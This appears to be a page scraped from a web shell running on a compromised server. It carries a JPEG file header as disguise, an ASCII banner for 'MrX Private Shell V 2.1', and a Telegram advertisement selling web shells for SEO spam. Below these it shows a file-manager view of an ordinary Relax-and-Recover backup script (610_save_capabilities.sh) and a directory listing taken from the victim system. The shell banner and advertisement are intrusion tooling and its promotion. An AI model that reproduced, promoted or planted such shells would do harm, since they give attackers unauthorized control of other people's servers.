����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Save all found capapilities.
# Skip when the whole NETFS_RESTORE_CAPABILITIES array is empty.
# For the 'test' one must have all array members as a single word i.e. "${name[*]}" because
# the test should succeed when there is any non-empty array member, not necessarily the first one:
test "${NETFS_RESTORE_CAPABILITIES[*]}" || return 0
# Be backward compatible:
is_false "$NETFS_RESTORE_CAPABILITIES" && return 0
# Save capapilities to /var/lib/rear/recovery/capabilities:
cat /dev/null > $VAR_DIR/recovery/capabilities
# getcap and setcap are mandatory when NETFS_RESTORE_CAPABILITIES has a non-empty array member:
has_binary getcap && has_binary setcap || Error "getcap and setcap are needed when NETFS_RESTORE_CAPABILITIES is non-empty"
# Empty values must be avoided for grep -Ev because grep -Ev '' or grep -Ev 'something|' matches all:
exclude_directories="$BUILD_DIR"
test "$ISO_DIR" && exclude_directories+="|$ISO_DIR"
# Be backward compatible:
is_true "$NETFS_RESTORE_CAPABILITIES" && NETFS_RESTORE_CAPABILITIES=( '/' )
# The actual work:
LogPrint "Saving file capabilities (NETFS_RESTORE_CAPABILITIES)"
for directory in "${NETFS_RESTORE_CAPABILITIES[@]}" ; do
# Ignore stderr to avoid thousands of 'Failed to get capabilities of file'
# stderr messages for directories like /proc /sys /dev in case of 'getcap -r /':
getcap -r $directory 2>/dev/null | grep -Ev "$exclude_directories" >> $VAR_DIR/recovery/capabilities
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 600_store_NETFS_variables.sh | File | 328 B | 0644 |
|
| 610_save_capabilities.sh | File | 1.42 KB | 0644 |
|